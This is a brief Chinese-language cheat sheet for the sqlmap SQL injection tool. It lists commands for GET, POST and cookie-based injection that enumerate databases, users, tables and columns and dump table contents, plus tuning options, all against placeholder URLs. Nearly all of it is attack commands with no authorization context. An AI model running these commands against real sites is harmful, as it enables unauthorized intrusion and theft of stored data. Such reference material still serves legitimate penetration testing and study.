注入基本上可分为以下三种:
1.get类:sqlmap -u "http://xxx?x=xx"
2.post: sqlmap -r "xxx.txt"
3.cookie类: sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2


一 get

1,枚举数据库:sqlmap -u "http://xxx?x=xx" --dbs


2,获取当前数据库:sqlmap -u "http://xxx?x=xx" --current-db


3,获取当前用户名:sqlmap -u "http://xxx?x=xx" --current-user


4,枚举表: sqlmap -u "http://xxx?x=xx" -D "库名" --tables


5,枚举字段:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --columns


6,数据dump:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --dump

    或者dump指定列:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" -C "xx,yy,zz" --dump


二 post

    一般来说,要进行post注入,首先要用burpsuite等工具将要注入的post表单提取出来保存在一个txt文档中,然后开始注入

    枚举数据库:sqlmap -r "xxx.txt" --dbs

    (PS:其他和get型一样)


三 cookie类 

    因为默认情况下sqlmap只支持get/post参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,因此要进行cookie注入,直接在后面加上 --level 2 即可

     枚举数据库sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2 --dbs


四 其他一些常用的参数

    --threads 多线程,可以让sqlmap跑得更快

    eg: sqlmap -u "http://xxx?x=xx" --threads 10 --dbs


    -p 手动指定注入参数

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --threads 10 --dbs


    --dbms 指定注入的数据库管理系统,当已知目标的数据库管理系统时使用

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --dbms "MYSQL" --threads 10 --dbs